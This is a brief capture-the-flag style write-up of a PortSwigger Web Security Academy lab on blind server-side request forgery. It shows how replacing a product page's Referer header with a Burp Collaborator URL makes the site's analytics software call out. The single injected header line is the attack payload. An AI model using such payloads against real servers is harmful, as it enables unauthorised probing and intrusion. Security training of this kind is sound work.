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Field Value
Platform PortSwigger Web Security Academy
Type Blind SSRF — Referer Header
Difficulty Practitioner
Objective Trigger an out-of-band HTTP request to Burp Collaborator via the Referer header

Blind SSRF with Out-of-Band Detection — Writeup


Initial Observation

The lab description tells us the analytics software fetches whatever URL is in the Referer header when a product page loads. That's the SSRF vector — no URL parameter in the request body, just the header.

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Attack Path

Intercepting any product page request in Burp and replacing the Referer header with our Collaborator URL:

Referer: https://vtskuarzad70qr80rzy1rwbkebk28swh.oastify.com/?teto=
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Collaborator receives the request — the analytics software fetched our URL:

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getting the request will get the lab solved :P

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